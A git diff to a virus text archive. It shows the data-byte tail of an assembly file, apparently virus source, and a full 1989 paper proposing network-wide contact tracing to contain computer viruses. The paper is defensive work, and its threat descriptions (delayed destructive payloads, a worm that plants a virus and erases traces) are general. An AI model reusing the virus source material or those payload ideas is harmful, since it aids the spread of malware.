06Ch,009h,0A7h,0E2h,03Ah,0AFh,08Ah,000h,087h,068h,020h,09Fh,0D0h + db 040h,05Bh,0FFh,088h,03Fh,0D5h,01Ch,027h,0A0h,036h,04Fh,0FFh,0A8h + db 042h,0EFh,0D0h,05Eh,0F3h,0A0h,000h,05Bh,045h,03Dh,0F5h,0B4h,01Eh + db 057h,0FFh,060h,087h,0DCh,000h,007h,084h,04Ch,07Dh,0FFh,071h,02Dh + db 0FFh,0C4h,037h,0CFh,064h,000h,06Fh,038h,03Dh,0FFh,0C0h,034h,09Bh + db 0FFh,054h,0A3h,0C2h,000h,05Fh,050h,01Ah,09Fh,0FFh,050h,03Fh,0FFh + db 08Ch,073h,0F7h,034h,000h,07Ah,048h,073h,0FFh,080h,029h,0EFh,0D8h + db 02Eh,0ABh,068h,000h,08Dh,036h,028h,0F3h,0D8h,044h,08Fh,0FFh,04Ah + db 0AFh,0DAh,000h,02Bh,030h,03Fh,0D3h,0E8h,05Ah,07Fh,0FFh,068h,097h + db 0E2h,000h,00Bh,021h,03Fh,0A7h,0FFh,06Ch,063h,0FFh,078h,073h,0DFh + db 050h,000h,000h,04Dh,09Fh,0FFh,082h,033h,0E7h,0C0h,059h,0AFh,098h + db 000h,02Bh,03Fh,062h,0F1h,0A6h,073h,0DFh,0FFh,040h,08Bh,0D0h,000h + db 000h,017h,05Fh,0FDh,0FFh,058h,08Fh,0FFh,06Dh,0B7h,0ECh,008h,000h + db 027h,07Bh,0C6h,0D2h,075h,097h,0FFh,060h,076h,0C8h,018h,000h,000h + db 065h,0AFh,0FFh,096h,073h,0FFh,088h,07Fh,0DAh,040h,000h,000h,07Bh + db 09Fh,0E0h,082h,069h,0FFh,0D4h,05Fh,066h,080h,000h,027h,049h,062h + db 09Dh,0AAh,099h,0FFh,0F8h,038h,096h,0D4h,000h,000h,027h,077h,0FFh + db 0FCh,068h,09Fh,0FFh,065h,0AFh,0D8h,000h,000h,02Fh,09Ah,07Fh,088h + db 06Dh,0CFh,0FFh,062h,06Dh,0B1h,028h,000h,019h,065h,0BFh,0F4h,062h + db 08Bh,0FFh,084h,077h,0EBh,054h,000h,000h,05Dh,0AFh,0FFh,08Ah,057h + db 0FFh,068h,069h,0ABh,084h,000h,000h,065h,099h,0FFh,09Ch,05Bh,0EFh + db 0E4h,09Dh,093h,09Ah,000h,000h,07Fh,093h,08Eh,089h,06Ch,0E5h,0FFh + db 05Dh,074h,0CFh,038h,000h,023h,079h,09Bh,0DEh,091h,0AFh,0FFh,05Ch + db 073h,0A7h,084h,000h,000h,046h,09Fh,0FFh,080h,053h,0DFh,0E4h,077h + db 08Ah,0B8h,000h,000h,06Bh,089h,0A4h,084h,085h,0BFh,0FFh,050h,02Bh + db 0C7h,068h,000h,00Fh,055h,0B5h,0FFh,0D0h,014h,0CFh,084h,059h,0DDh + db 0C0h,000h,000h,08Fh,0B6h,0CBh,09Ah,050h,0D7h,0FFh,026h,055h,0A2h + db 008h,000h,03Bh,06Ch,08Ah,0D3h,094h,083h,0FFh,082h,091h,0E7h,060h + db 000h,00Ch,095h,082h,09Ch,0B3h,07Ah,0E7h,0FEh,028h,059h,0D7h,058h + db 000h,001h,03Fh,0BFh,0FFh,078h,063h,0FFh,086h,0B3h,0FFh,040h,000h + db 000h,06Dh,08Fh,0D9h,0A1h,060h,0B3h,0D2h,0C7h,074h,048h,000h,045h + db 04Bh,03Bh,097h,0B8h,0A2h,0D3h,0FFh,064h,071h,0CEh,004h,00Bh,01Bh + db 052h,07Bh,0C1h,0F6h,0A4h,0C5h,0C0h,065h,072h,0C6h,000h,000h,00Ah + db 03Fh,0DFh,0FFh,058h,06Bh,0FAh,044h,0A7h,0FFh,028h,000h,03Bh,0BDh + db 0FAh,0FFh,088h,07Bh,0FFh,058h,062h,057h,060h,000h,000h,043h,08Bh + db 0FFh,098h,06Ah,0E7h,0D0h,062h,08Ah,0B0h,000h,005h,05Fh,0B5h,0B2h + db 0A4h,072h,0D7h,0FFh,038h,087h,088h,01Ch,027h,053h,06Ah,09Dh,0FFh + db 070h,075h,0FDh,048h,063h,0C5h,080h,000h,015h,06Bh,0B7h,0FFh,084h + db 048h,0A7h,0E0h,061h,0B3h,088h,000h,031h,03Eh,062h,09Bh,0ECh,058h + db 05Bh,0FFh,054h,06Bh,0B5h,0A0h,000h,000h,061h,091h,0FFh,090h,043h + db 0EFh,0B8h,09Ah,09Fh,0A8h,000h,027h,031h,05Bh,09Ch,0BAh,0B0h,0BFh + db 0F5h,04Ah,07Fh,0E5h,042h,000h,000h,056h,0BBh,0FFh,090h,03Fh,0FFh + db 090h,0BFh,0D7h,094h,000h,000h,05Fh,08Eh,0FFh,080h,04Eh,0A5h,0D8h + db 07Fh,064h,094h,000h,000h,03Bh,088h,074h,068h,0BFh,0FBh,0FFh,04Ah + db 05Fh,0A5h,092h,015h,000h,01Fh,07Bh,0FFh,0FFh,052h,0DFh,050h,09Fh + db 0D3h,0C0h,000h,000h,053h,08Dh,0FFh,098h,036h,087h,0D4h,08Bh,06Dh + db 0B4h,000h,000h,035h,07Dh,0CBh,0F8h,0BAh,074h,0FFh,078h,075h,09Ah + db 050h,000h,000h,0AEh,082h,073h,0A6h,0B0h,0FFh,0C8h,03Bh,052h,099h + db 032h,000h,023h,044h,07Fh,0FFh,0FFh,058h,087h,046h,07Bh,0F3h,0CAh + db 000h,000h,05Fh,0CAh,0FFh,0FEh,024h,077h,0B8h,039h,076h,0B4h,00Eh + db 000h,02Bh,08Eh,0ABh,0FFh,070h,063h,0FFh,080h,09Ch,0BBh,054h,000h + db 00Fh,06Ah,0A5h,0D6h,09Ah,099h,0DDh,0D4h,056h,067h,094h,000h,000h + db 01Dh,066h,0BBh,0FFh,070h,067h,0D0h,06Fh,096h,0DEh,048h,000h,036h + db 06Fh,09Ah,0FFh,070h,027h,0C9h,056h,06Ch,08Fh,084h,000h,023h,057h + db 086h,0FFh,0F4h,080h,04Fh,0F5h,06Eh,082h,0C9h,020h,000h,003h,05Bh + db 099h,0FFh,0C0h,03Ch,0EBh,080h,08Fh,09Dh,0A8h,006h,00Eh,056h,077h + db 0DFh,0FFh,060h,07Fh,0B0h,06Eh,062h,0CEh,01Ah,017h,047h,05Dh,085h + db 0FFh,0FFh,040h,097h,05Ah,05Eh,06Fh,0B4h,000h,037h,050h,07Fh,0ABh + db 0FFh,0D8h,000h,0A7h,040h,047h,07Fh,08Ch,01Ch,023h,06Dh,080h,0C7h + db 0FFh,080h,019h,0D2h,030h,056h,09Fh,070h,018h,02Dh,086h,0A8h,0FFh + db 0FFh,070h,08Fh,0A0h,03Ch,018h,09Fh,070h,00Ah,053h,095h,099h,0FFh + db 0FFh,044h,08Bh,088h,02Dh,00Fh,0ADh,044h,006h,067h,0A2h,085h,0EBh + db 0FFh,030h,04Fh,094h,013h,000h,0BBh,035h,037h,083h,08Ch,093h,0FFh + db 0FFh,040h,06Dh,0A8h,023h,027h,0AFh,034h,047h,072h,092h,07Fh,0EBh + db 0FFh,054h,04Bh,0C0h,039h,044h,09Dh,054h,055h,075h,0C6h,084h,096h + db 0FFh,0A0h,033h,0BFh,04Ch,02Ch,056h,08Ah,055h,087h,0B3h,062h,051h + db 0C7h,0DCh,02Eh,08Fh,094h,020h,02Ah,07Dh,06Eh,0BDh,0ACh,06Ch,04Ch + db 0A3h,0FFh,080h,03Eh,0B3h,030h,02Ah,04Dh,08Eh,04Dh,095h,0A3h,06Ch + db 057h,0AFh,0FFh,060h,05Bh,0D5h,032h,04Fh,06Fh,064h,05Eh,0CDh,0A0h + db 03Ah,06Fh,0CDh,0C0h,04Ah,082h,0DBh,02Ch,06Dh,04Bh,04Eh,087h,0B8h + db 06Bh,058h,07Fh,09Eh,0CCh,072h,073h,0D5h,030h,06Fh,067h,048h,05Bh + db 0BAh,09Ch,058h,07Dh,099h,0D4h,094h,06Ch,0C3h,04Ch,079h,03Eh,025h + db 06Bh,0D4h,078h,072h,07Bh,07Ah,0BBh,0C1h,04Ah,08Bh,088h,02Bh,058h + db 034h,046h,0DDh,09Ah,080h,072h,06Ch,08Fh,0FFh,070h,013h,0B1h,030h + db 086h,055h,05Fh,0C7h,0B4h,082h,075h,087h,08Dh,0FFh,078h,000h,0A7h + db 058h,07Bh,070h,03Ah,05Bh,0BCh,08Eh,0A8h,0ACh,034h,08Fh,0D8h,028h + db 05Bh,0E0h,028h,07Fh,059h,029h,0ABh,0CCh,064h,06Bh,080h,049h,0AFh + db 0D0h,023h,07Fh,0B0h,00Eh,089h,061h,02Fh,0B7h,0B2h,070h,092h,088h + db 06Fh,0EFh,090h,023h,09Bh,0B4h,035h,08Ch,03Dh,03Fh,0D3h,094h,08Bh + db 0C7h,060h,03Bh,0B9h,082h,069h,0CFh,0A0h,027h,084h,02Ah,04Bh,0EFh + db 08Ch,07Eh,08Ch,050h,05Fh,0E3h,079h,04Fh,0AFh,078h,01Bh,081h,02Ch + db 03Dh,0D3h,078h,077h,0B3h,066h,055h,0BFh,082h,069h,0B2h,0A8h,025h + db 08Ah,035h,043h,0D3h,09Ch,07Bh,09Bh,05Ah,03Dh,0AFh,0C6h,07Fh,077h + db 07Fh,062h,06Ah,096h,05Dh,073h,0AAh,06Ah,08Ch,08Ah,054h,04Fh,08Eh + db 0AAh,07Bh,06Fh,09Ch,070h,05Dh,084h,056h,07Fh,0C5h,085h,073h,060h + db 05Ah,071h,0C3h,0A8h,050h,056h,064h,071h,087h,0ACh,04Bh,071h,088h + db 074h,0A4h,08Bh,085h,069h,072h,0A9h,090h,067h,07Ch,0A8h,038h,07Fh + db 088h,05Bh,07Fh,0A5h,06Ah,073h,0B9h,05Bh,056h,0B2h,05Ah,042h,0A2h + db 0CCh,044h,037h,079h,055h,073h,0E2h,0A5h,06Bh,091h,062h,056h,0B7h + db 0ACh,051h,05Fh,0A1h,090h,02Eh,0A3h,07Eh,045h,09Fh,0A2h,07Ch,095h + db 08Ah,070h,067h,0AEh,074h,055h,0A7h,0DBh,018h,033h,066h,06Ch,07Bh + db 0C3h,090h,049h,07Dh,093h,076h,0B3h,0B0h,041h,046h,0A3h,08Dh,02Ah + db 08Fh,075h,046h,087h,0B2h,07Bh,07Eh,091h,06Eh,071h,09Fh,08Ah,069h + db 070h,092h,08Ah,04Fh,096h,090h,056h,07Dh,090h,084h,07Dh,0A1h,086h + db 066h,084h,08Bh,073h,081h,080h,084h,072h,089h,082h,06Bh,06Eh,07Fh + db 080h,077h,079h,095h,091h,059h,059h,081h,070h,069h,08Bh,08Eh,088h + db 059h,07Ch,06Dh,097h,083h,06Eh,07Fh,087h,093h,087h,078h,05Ch,078h + db 098h,07Eh,077h,08Fh,097h,062h,067h,080h,066h,07Eh,0A1h,07Ah,07Dh + db 089h,095h,078h,055h,073h,092h,08Ch,077h,07Dh,096h,092h,04Ah,05Fh + db 06Eh,087h,092h,08Ch,082h,085h,092h,078h,058h,06Ch,092h,073h,073h + db 086h,08Eh,07Fh,05Eh,04Ah,06Ch,073h,092h,0A0h,07Eh,090h,097h,08Bh + db 073h,070h,078h,089h,089h,075h,079h,08Fh,08Eh,07Ah,040h,05Fh,07Ch + db 086h,085h,0A2h,0A9h,084h,07Fh,075h,05Ch,073h,09Ch,076h,061h,07Fh + db 079h,075h,092h,082h,031h,069h,086h,076h,09Fh,0B1h,07Eh,073h,092h + db 06Bh,067h,097h,087h,074h,078h,07Ah,085h,099h,065h,067h,088h,054h + db 069h,085h,084h,087h,0A3h,08Ch,078h,09Fh,086h,053h,067h,07Ch,068h + db 075h,092h,078h,072h,07Ch,062h,07Dh,0AFh,090h,06Bh,07Ch,06Eh,068h + db 08Fh,0A0h,078h,06Ah,072h,075h,08Dh,08Ch,07Eh,089h,072h,054h,072h + db 08Bh,089h,07Fh,072h,06Bh,08Ah,0A2h,089h,08Fh,085h,066h,071h,093h + db 088h,074h,078h,06Dh,070h,08Ah,088h,089h,08Dh,072h,06Bh,080h,078h + db 079h,070h,069h,06Ch,07Ch,08Bh,082h,08Bh,078h,06Ah,087h,081h,07Eh + db 08Eh,070h,05Fh,079h,085h,07Fh,087h,07Ah,05Fh,08Ah,0A4h,076h,079h + db 080h,06Ah,069h,075h,07Eh,093h,0A5h,081h,072h,088h,088h,085h,090h + db 078h,060h,071h,07Bh,07Fh,084h,07Ah,068h,07Ah,08Ch,07Fh,07Ah,070h + db 068h,076h,07Ch,077h,093h,0A2h,080h,086h,07Dh,07Bh,083h,08Eh,068h + db 064h,074h,06Eh,077h,097h,074h,068h,080h,080h,071h,08Bh,07Ch,059h + db 079h,08Ah,074h,099h,09Ch,066h,07Fh,0A6h,07Fh,08Fh,0A0h,056h,06Dh + db 0A2h,06Ch,07Dh,09Dh,060h,05Fh,098h,072h,063h,097h,088h,048h,07Dh + db 085h,069h,0A3h,088h,04Eh,063h,09Fh,091h,077h,08Ch,074h,042h,085h + db 09Ch,06Ch,095h,066h,051h,08Fh,0CFh,07Ah,073h,09Ah,080h,065h,097h + db 080h,05Ah,081h,04Ch,04Ah,09Eh,09Ch,074h,07Fh,083h,086h,097h,09Ah + db 069h,07Fh,08Ch,060h,06Fh,0A0h,077h,06Eh,08Ch,08Eh,07Dh,083h,083h + db 064h,07Ah,074h,05Eh,079h,09Fh,07Ah,063h,083h,092h,069h,091h,088h + db 052h,075h,070h,069h,08Fh,0A0h,06Bh,074h,0ABh,08Eh,062h,08Dh,066h + db 063h,08Ah,071h,07Bh,0BBh,098h,068h,087h,0A4h,077h,097h,08Ch,044h + db 056h,069h,071h,0A7h,094h,05Dh,05Eh,0A4h,07Ch,077h,08Eh,05Ch,04Dh + db 07Eh,074h,07Bh,0ACh,078h,059h,0A3h,0A4h,060h,082h,084h,049h,075h + db 081h,07Eh,0ADh,0A5h,071h,07Fh,0BAh,074h,071h,084h,04Ah,05Bh,073h + db 071h,087h,0ADh,07Ch,062h,0ADh,093h,073h,097h,06Ah,03Fh,070h,077h + db 07Bh,0B5h,088h,058h,08Bh,0A8h,061h,079h,080h,045h,06Eh,075h,071h + db 09Bh,0B2h,072h,06Bh,0B0h,080h,078h,096h,061h,042h,05Fh,073h,08Dh + db 0B4h,088h,068h,0A3h,096h,06Fh,08Dh,07Ch,04Ah,05Eh,06Ch,07Fh,0BBh + db 0A0h,070h,08Fh,0B0h,07Eh,07Fh,08Ah,040h,030h,063h,086h,0AFh,0ACh + db 066h,063h,0B3h,080h,07Ch,07Eh,04Ch,03Fh,059h,079h,096h,09Bh,084h + db 077h,0ADh,090h,071h,085h,080h,03Eh,041h,073h,093h,0D3h,0B2h,076h + db 091h,09Ah,083h,0A3h,090h,040h,038h,05Bh,08Ah,0A7h,088h,071h,086h + db 090h,06Bh,07Eh,083h,052h,043h,057h,08Bh,0BBh,0C0h,080h,07Fh,0AAh + db 068h,07Bh,094h,050h,030h,048h,076h,09Dh,0A6h,07Dh,072h,0A7h,07Ah + db 069h,07Ah,07Dh,054h,065h,06Ch,085h,0A9h,0AAh,095h,0B2h,09Ch,059h + db 089h,0A1h,04Ch,049h,060h,07Eh,0C3h,0C0h,080h,083h,0A9h,067h,07Bh + db 08Dh,060h,03Ch,05Ah,085h,081h,07Eh,079h,08Dh,0B3h,060h,05Bh,07Bh + db 064h,03Dh,053h,06Ch,093h,0B5h,090h,08Ah,0BBh,07Ah,06Fh,08Fh,076h + db 046h,05Fh,070h,087h,0B3h,08Ch,07Ch,0AEh,078h,059h,085h,07Eh,048h + db 050h,07Bh,09Dh,0C1h,0A1h,08Fh,09Fh,098h,073h,085h,07Ch,048h,055h + db 07Ah,083h,083h,08Bh,08Bh,0A0h,0A8h,068h,06Fh,087h,05Eh,04Ah,061h + db 083h,095h,0A1h,090h,08Fh,0A8h,068h,067h,07Fh,062h,03Ah,056h,06Eh + db 097h,0B3h,087h,076h,09Fh,096h,06Ah,083h,080h,043h,056h,07Eh,088h + db 087h,08Fh,090h,0ADh,0B4h,060h,066h,08Dh,06Dh,044h,05Ch,075h,096h + db 0CAh,08Ch,063h,098h,071h,079h,087h,078h,044h,04Bh,083h,097h,09Bh + db 08Ah,07Ch,09Eh,0ACh,061h,05Fh,07Fh,062h,04Ah,067h,08Ah,095h,0BBh + db 098h,08Ch,0BDh,084h,085h,091h,06Ch,045h,059h,085h,08Bh,095h,08Bh + db 083h,0A4h,08Ch,04Dh,06Ah,08Bh,060h,048h,05Eh,07Fh,0ADh,0CCh,07Ch + db 068h,09Ch,064h,083h,089h,054h,036h,04Fh,07Dh,096h,0AFh,088h,072h + db 086h,0A0h,08Bh,074h,05Bh,04Dh,073h,078h,087h,09Eh,09Dh,092h,0A5h + db 0BCh,076h,07Bh,085h,059h,055h,06Ch,081h,093h,0A7h,0A1h,07Bh,07Ch + db 084h,06Dh,07Ch,07Bh,042h,039h,057h,07Dh,0C5h,0ACh,05Ah,071h,092h + db 06Ah,08Ah,09Fh,061h,046h,06Eh,099h,0BBh,0ABh,076h,073h,0A4h,068h + db 069h,06Fh,061h,036h,04Dh,07Bh,09Fh,0D1h,0A2h,081h,0B2h,098h,07Eh + db 093h,086h,04Bh,04Dh,077h,08Dh,0A7h,092h,07Ah,09Dh,0A0h,057h,072h + db 07Ah,05Ch,063h,065h,06Fh,09Fh,0CDh,08Dh,074h,09Ch,060h,063h,089h + db 070h,035h,046h,070h,095h,0C6h,090h,061h,085h,094h,06Ah,07Fh,07Eh + db 04Ah,05Ch,066h,076h,0A5h,0BAh,090h,087h,0BAh,082h,07Eh,095h,086h + db 04Ch,054h,07Dh,09Eh,0C9h,0A0h,06Ch,093h,086h,065h,073h,078h,03Dh + db 058h,065h,06Fh,08Ah,0AAh,090h,094h,0A1h,055h,062h,08Bh,068h,03Eh + db 04Ch,06Ch,09Bh,0D8h,090h,06Eh,0ACh,086h,07Dh,092h,076h,044h,052h + db 073h,089h,0B9h,096h,06Eh,08Dh,0A2h,065h,06Dh,084h,04Ah,05Dh,079h + db 090h,085h,094h,0ADh,0BBh,0C4h,066h,062h,083h,08Eh,056h,054h,068h + db 07Bh,0BFh,0BCh,070h,082h,063h,06Eh,08Dh,085h,040h,04Ah,069h,085h + db 0BDh,090h,05Ch,075h,09Ah,073h,07Bh,088h,050h,053h,074h,087h,097h + db 0ADh,08Eh,085h,0B3h,080h,073h,07Bh,076h,048h,059h,098h,092h,088h + db 08Ch,099h,0B6h,0A8h,05Bh,064h,081h,05Ch,050h,058h,066h,085h,0BFh + db 0A6h,072h,082h,057h,077h,0A5h,07Ch,04Dh,062h,07Bh,092h,0CAh,088h + db 054h,095h,080h,069h,07Bh,080h,04Ch,059h,07Ah,092h,0B5h,0B0h,079h + db 08Dh,09Ah,07Fh,07Fh,084h,057h,056h,076h,091h,09Fh,0A2h,088h,08Ah + db 0A5h,06Ah,06Dh,075h,05Ch,049h,062h,079h,087h,0BEh,099h,066h,08Eh + db 076h,07Eh,08Bh,074h,04Dh,05Bh,077h,089h,0AFh,0A0h,061h,07Bh,082h + db 065h,077h,08Eh,068h,068h,073h,08Eh,0A6h,0CAh,08Dh,065h,087h,08Bh + db 084h,076h,07Ch,054h,063h,075h,08Ah,0ADh,0B5h,078h,077h,093h,06Fh + db 07Bh,086h,060h,05Dh,068h,07Ah,093h,0C5h,08Ch,055h,083h,069h,071h + db 076h,072h,056h,05Ch,06Bh,081h,0ADh,0C4h,080h,067h,07Ah,061h,077h + db 096h,07Ah,072h,06Dh,07Eh,095h,0C2h,0B8h,064h,06Fh,072h,069h,078h + db 09Ah,078h,06Eh,073h,087h,0A7h,0CEh,098h,050h,07Eh,073h,074h,07Dh + db 088h,062h,066h,07Fh,091h,09Fh,0C3h,080h,058h,07Eh,060h,065h,081h + db 078h,057h,05Fh,088h,08Ch,0A0h,0B5h,076h,057h,070h,058h,070h,094h + db 075h,05Ch,077h,09Ch,08Ah,0A3h,0B8h,068h,05Fh,08Ch,06Dh,06Ah,095h + db 07Bh,06Bh,085h,093h,08Ah,0AFh,0B0h,064h,05Fh,08Fh,063h,069h,08Fh + db 067h,063h,07Dh,08Ah,082h,0A9h,0A8h,05Eh,05Dh,08Ah,060h,06Ah,089h + db 074h,073h,07Fh,092h,07Ch,089h,0B3h,081h,05Fh,093h,072h,066h,07Ah + db 08Eh,07Eh,089h,094h,080h,07Eh,09Fh,098h,064h,088h, +slutt: ; DREAMER has a weird sense of humor + +size equ $-100h +pgf equ ($+16)/16 diff --git a/textfiles.com/virus/hormones.vir b/textfiles.com/virus/hormones.vir new file mode 100644 index 00000000..ef8ae88d --- /dev/null +++ b/textfiles.com/virus/hormones.vir @@ -0,0 +1,379 @@ +Date: Thu, 16 Mar 89 20:56:18 +0100 +From: David Stodolsky + +Net Hormones: Part 1 - +Infection Control assuming Cooperation among Computers + +Copyright (c) 1989 David S. Stodolsky, PhD. All rights reserved. + +1. Abstract + +A new type of infection control mechanism based upon contact tracing is +introduced. Detection of an infectious agent triggers an alerting +response that propagates through an affected network. A result of the +alert is containment of the infectious agent as all hosts at risk +respond automatically to restrict further transmission of the agent. +Individually specified diagnostic and treatment methods are then +activated to identify and destroy the infective agent. The title "Net +Hormones" was chosen to indicate the systemic nature of this programmed +response to infection. + +2. Introduction + +A new type of infection control mechanism that is based upon network- +wide communication and that depends upon cooperation among computer +systems is presented. Neither diagnosis nor treatment is necessary for +the operation of the mechanism. The mechanism can automatically trigger +responses leading to effective containment of an infection. The +identification and destruction of the infectious agent is determined by +individual actions or programs. This permits a highly desirable +heterogeneity in diagnostic and treatment methods. + +Definition: "Hormone . . . 1: a product of living cells that circulate +in body fluids or sap and produces a specific effect on the activity of +cells remote from its point of origin; especially one exerting a +stimulatory effect on a cellular activity. 2: a synthetic substance +that acts like a hormone (Webster's new collegiate dictionary, 1976)." +The analogy here is between each network node or computer system and +the cell. In biological systems hormones attach to specialized +receptors on the cell surface resulting in cell activation. In the +system described here, a match between a code in a system archive and a +code delivered as part of an alerting message results in activation. +Alerting messages circulated electronically serve the role of hormones. + +Epidemiology has traditionally had three major approaches to the +control of infectious agents: + +:1 - Treatment of the sick (e. g., penicillin) + +:2 - Contact tracing (e. g., social-work notification programs, laws +forcing the reporting of certain diseases and of contacts of infected +persons) + +:3 - Prevention (e. g., vaccination, public information campaigns) + +In computer system terms: + +:1 - Treatment of infections (e. g., various programs and manually +installed patches and fixes) + +:2 - Contact tracing (e. g., software "recall", and other manual +operations) + +:3 - Prevention (e. g., various programs for blocking virus +replication, alerting users, and for logging suspicious events) + +Contact tracing has been neglected with computer systems, although it +could be argued it is much easier with computer systems than with +biological systems. Currently such tracing depends upon people reading +reports and determining if their system is subject to infection, +performing diagnostic tests, determining a treatment method, obtaining +software, and so on. This is chancy and time consuming, requiring most +often people with the highest level of expertise. As computers and +networks speed up, an infectious agent could spread through a network +in hours or minutes. "Once a virus has infected a large number of +computers on a network, the number of infected removable media elements +will begin to skyrocket. Eventually, if the virus continues to go +undetected, a stage is reached in which the probability of identifying +and recovering all of the infected media is virtually zero (McAfee, +1989)." An automated contact tracing system thus seems essential in the +future if infectious agents are to be controlled. + +3. Threats + +"The modification of an existing virus to incorporate a long term delay +(such as 6 months or even a year) coupled with a totally destructive +manipulation task (such as a FAT, Boot sector scribble followed by a +complete format) is a fairly simple task. Such an action would convert +even a crude virus strain such as the Lehigh 1 virus into a +devistating (sic) strain. (Eg the comment by Ken that the modified +version of the Lehigh virus is now far more dangerous due to +modification of the delay in activation of its manipulation task) +(Ferbrache, 1989)." + +Scott (1989) requested comments on: + +"A little future speculation here... currently we seem to be fighting a +losing battle against virus detection and as viruses improve it's +unlikely that that will change. If we want the capability to download +shareware, etc, from bulletin boards, etc, then we must assume that we +cannot check the software for a virus with 100% success before running +it. In general, you can't know the output of a program given the +input without running it, except in special cases. + +We can check for *known* viruses; but how long before shape-changing +and mutating viruses hit the scene that defeat all practical +recognition techniques?" + +An inapparent infection could spread rapidly, with damage noted only +much later. Consider a worm that is constructed to carry a virus. The +worm infects a system, installs the virus and then infects other nearby +systems on the net. Finally, it terminates erasing evidence of its +existence on the first system. The virus is also inapparent, it waits +for the right moment writes some bits and then terminates destroying +evidence of its existence. Later the worm retraces its path reads some +bits, then writes some bits and exits. The point is that an inapparent +infection could spread quite widely before it was noticed. It also +might be so hard to determine whether a system was infected or not, +that it would not be done until damage was either immanent or apparent. +This analysis suggests response to network-wide problems would best be +on a network level. + +4. Theory of operation + +Computers generate (in the simplest case) random numbers which are used +to label transactions. A transaction is defined as an interaction +capable of transmitting an infectious agent. After each transaction +both systems therefore have a unique label or code for that +transaction. In the event that a system is identified as infected, the +transaction codes which could represent transactions during which the +agent was transmitted are broadcast to all other computers. If a +receiving computer has a matching code, then that system is alerted to +the possibility of the agent's presence, and can broadcast transaction +codes accumulated after the suspect contact. This iterates the process, +thus identifying all carriers eventually. The effect is to model the +epidemiological process, thereby identifying all carriers through +forward and backward transaction tracking (Stodolsky, 1979a; 1979b; +1979c; 1983; 1986). + +5. The process of infection control + +The process can be broken down into routine and alerting operations. +During routine operations, each file transfer is labeled in a way that +does not identify the systems involved. These labels are time stamped +(or have time stamps encoded in them). They are written into archives +on each system, ideally write-once/read-many times devices or some +other type of storage that could not easily be altered. + +Alerting procedures are invoked when an infectious agent is noted or +when a suspect transaction code is received that matches one in the +system's archive. The earliest time the agent could have arrived at the +system and latest time (usually the moment the agent is noted or a +received suspect transaction code is matched) it could have been +transmitted from the system are used to delimit suspect transaction +codes. These codes are broadcast to alert other systems to the +potential presence of the agent. + +In the simplest and most common case, if a system gets an alert that +indicates, "You could have been infected at time one," then the system +automatically packages the transaction codes between time one and the +present time to generate a new alert indicating the same thing to other +systems with which it has had contact. + +Another automatic response could be to immediately cut off +communications in progress, thus reducing the risk of infection. A +further benefit of such a reaction would be the possibility of +disrupting the transfer of an infectious agent. Such a disrupted agent +would be harmless and easily identified and evaluated. Reestablishment +of communication could occur immediately with new procedures in force +that could warn new users that an alert was in progress as well as +limiting the type of transfers that could take place. + +5.1. Practical considerations + +Direct identification, as opposed to identification through forward +tracing notification, does not delimit effectively the earliest time +that an agent could have been present on a system. Thus an alert from +an originating system could include all transaction codes written prior +to the identification (or some default value). This could generate +excessive reaction on the network. This reaction could be controlled if +another system in a later alert indicated it had originated the +infection on the system originating the alert. Thus, protection of +identity which reduces any inhibition about reporting infection is +important. The type of reaction discussed here might be called a panic +reaction, because an excessive number of systems might be notified of +potential infection in the first instance. + +A more restricted response could be generated if persons at the alert +originating system analyzed the causative agent, thereby hopefully +establishing the earliest time the agent could have been present on +that system. In this case, the suspect transactions could be delimited +effectively and all systems that could have been infected would be +notified, as would the system that had transmitted the agent to the +system originating the alert (assuming one exists). Ideally, each +notified system would be able to determine if it had received or +originated the infection and respond accordingly. + +5.2. Forward tracing assumption + +Assume, however, that rapid response is desired. Each notified system +would then react as if it had been notified of an infection transmitted +to it. It would package the transaction codes that had been written +later than the suspect transaction code it had received and issue a +secondary alert. This forward tracing assumption would lead to quite +effective control because of the exponential growth in the number of +infected hosts in epidemics (and exponential growth of alerts resulting +>From forward tracing). That is, a system can infect many others as a +result of a single infective agent transmitted to it. Forward tracing +would alert all systems that the alerting system could have infected. +These newly alerted systems would also issue forward trace alerts, and +this would continue until containment was reached under the forward +tracing assumption. + +5.3. Backward tracing of suspect contacts and diagnosis + +As a result of this rapid forward tracing response, it is likely that +more active infections would be identified. The resulting new +information could be used to more effectively characterize the life +cycle of the agent, thereby hopefully permitting effectively delimited +backward tracing. Also as a result of accumulated information, positive +tests for the agent would become available. Once this stage had been +reached the focus of action could shift from control of suspect +transactions to control of transactions known to facilitate the +transmission of the agent. + +6. Feasibility and Efficiency + +Both technical and social factors play a key role in the operation of +the control mechanism. Contact tracing is probably most effective for +sparsely interacting hosts. The rate of transfer of the infectious +agent as compared to the rate of transfer of the suspect transaction +codes is also a critical factor. Recording of transactions can be +comprehensive on computer networks, however, unregistered transactions +will be a factor in most cases. Once the infectious agent has been +identified, the type of transactions capable of transmitting the agent +can be delimited. This could increase efficiency. + +6.1. Social organization of alerts + +Another major efficiency factor is errors in origination of alerts. +Since protected messages would trigger network-wide alerts, it is +important that false alarms are controlled effectively. On the other +hand, failure to report an infection could permit an infectious agent +to spread in an uncontrolled manner and could increase the number of +systems unnecessarily alerted. Successful operation of the mechanism +described above assumes voluntary cooperation among affected systems. +This assumption could be relaxed by application of an enforcement +mechanism. It would require substantially greater complexity and +greater centralization of coordination. In other words, if cooperation +was not forthcoming "voluntarily", users would likely be treated to a +complicated, restrictive, and resource intensive mechanism that would +be developed to enforce it. "Estimates of the damages inflicted by +November's Internet infection alone ranged upward of $100 million . . . +(McAfee, 1989)." Costs of this magnitude make it very likely that even +expensive enforcement mechanisms will be developed if they are made +necessary. + +The simplest organizational strategy would assume that protection of +identity was not needed, but this would also be likely to inhibit +alerting. True anonymity, however, permits irresponsible behavior to go +unchecked. A reputation preserving anonymity (pseudonymity) would be +desirable to ensure both protection and accountability and thereby +promote cooperation. Pseudonyms would best be the property of persons +(in association with a computer system). + +Even sincere cooperation, however, would not eliminate inefficiencies +resulting from false alarms or failure to alert. Both inadequate +training and poor judgement are likely sources of these errors. If +users realize that there are reputational costs associated with these +failures, then they are likely to be motivated to minimize them. False +alarms are already a major problem because of user inexperience and the +high level of defects in widely used software. A reputational mechanism +would motivate increased user education and more careful software +selection, with a corresponding pressure on software publishers to +produce well behaved and carefully documented products. + +6.2. Enforcing cooperation + +Crypto-protocols could be used to ensure that a non-cooperator could +not communicate freely with others using the infection control +mechanism. This type of communication limiting could be used routinely +to ensure that a system requesting connection was not infected. In +effect, systems would exchange health certificates before file +exchanges, to ensure that they would not be infected. A system that +could not show a health certificate could be rejected as a conversation +partner due to risk of infection. This would no doubt enforce +cooperation. The mechanism (Stodolsky, 1986) is beyond the scope of +this note. + 